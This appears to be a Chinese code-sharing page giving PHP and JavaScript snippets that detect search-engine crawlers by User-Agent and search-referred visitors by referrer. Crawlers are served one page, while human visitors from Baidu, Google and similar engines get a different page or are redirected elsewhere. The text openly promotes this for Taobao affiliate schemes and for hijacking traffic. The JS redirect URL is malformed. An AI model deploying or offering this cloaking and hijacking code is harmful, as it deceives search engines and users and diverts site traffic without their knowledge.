判斷搜索引擎來路進行跳轉的代碼(PHP+JS)


PHP判斷搜索引擎來路跳轉代碼:

<?php
$flag = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Baiduspider') >0){
    $flag = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'msnbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sosospider') !== false){
    $flag = true;
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    $flag = true;
} else if(strpos($tmp, 'Gaisbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
    $flag = true;
} else if(strpos($tmp, 'altavista') !== false){
    $flag = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    $flag = true;
}
if($flag == false){
   //header("Location: http://www.lishaocong.com" . $_SERVER['REQUEST_URI']);
    require_once("cd.htm");
    // 自動轉到http://www.lishaocong.com 對應的網頁
    // $_SERVER['REQUEST_URI'] 為域名后面的路徑
    // 或 換成 header("Location: http://www.lishaocong.com/abc/d.php");
   exit();
}
else
{
 require_once("news1.htm");
}
?>

JS判斷搜索引擎來路跳轉代碼:

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href='http:www.lishaocong.com'
}

直接輸入域名,打開網頁,沒有任何異常。但是通過百度谷歌搜狗等搜索引擎點進來的用戶,會執行跳轉。可以用來做淘寶客,也可以用來劫持流量。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM